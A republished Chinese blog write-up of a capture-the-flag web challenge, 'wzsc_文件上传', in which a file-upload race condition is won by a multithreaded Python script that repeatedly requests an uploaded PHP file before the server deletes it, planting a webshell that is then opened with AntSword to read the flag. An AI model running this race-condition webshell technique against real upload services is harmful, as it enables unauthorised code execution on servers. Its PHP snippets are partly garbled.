文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

攻防世界-web-wzsc_文件上传

2023-09-10 22:39

关注

打开环境,很简单的上传界面 

上传一个空内容的jpg文件,上传成功 

 

网站代码如下 

 0){        unlink($newfile);        exit();    }    $ext = array_pop(explode(".",$_FILES['file']['name']));    if (!in_array($ext,$allowtype)){        unlink($newfile);        exit();    }?>

 来源于下面的文章

https://blog.csdn.net/qq_45608153/article/details/126312379

利用条件竞争文件上传

文件上传过程介绍
文件上传过程:
服务器获取文件>>>保存上传临时文件>>>重命名移动临时文件
2. 竞争条件原理介绍
网站逻辑:
1、网站允许上传任意文件,然后检查上传文件是否包含Webshell,如果包含删除该文件。

网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。

在删除之前访问上传的php文件,从而执行上传文件中的php代码。
例如:上传文件代码如下

');?>

本题所需代码如下 

此为需要上传的文件内容

'); ?>

此为脚本代码

import requestsimport threadingimport osclass RaceCondition(threading.Thread):    def __init__(self):        threading.Thread.__init__(self)        self.url = 'http://61.147.171.105:51444/upload/a.php'        self.uploadUrl = 'http://61.147.171.105:51444/upload/shell.php'    def _get(self):        print('try to call uploaded file...')        r = requests.get(self.url)        if r.status_code == 200:            print('[*] create file shell.php success.')            os._exit(0)    def _upload(self):        print('upload file...')        rs = requests.get(self.uploadUrl)        if rs.status_code == 200:            print('[*] create file shell.php success.')            os._exit(0)    def run(self):        while True:            for i in range(5):                self._get()            for i in range(10):                self._upload()                self._get()if __name__ == '__main__':    threads = 50    for i in range(threads):        t = RaceCondition()        t.start()    for i in range(threads):        t.join()

先利用bp一直post那个文件

再跑脚本 

可以看到shell已经被上传,用蚁剑连接 

flag{123qwesadqweuoiwqjdsaiqnoi} (假的,把我骗到了,按他后面的路径走)

 cyberpeace{8c4eaae8653fa86a7693a6dd7d5f3244}

来源地址:https://blog.csdn.net/qq_29977871/article/details/126499845

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯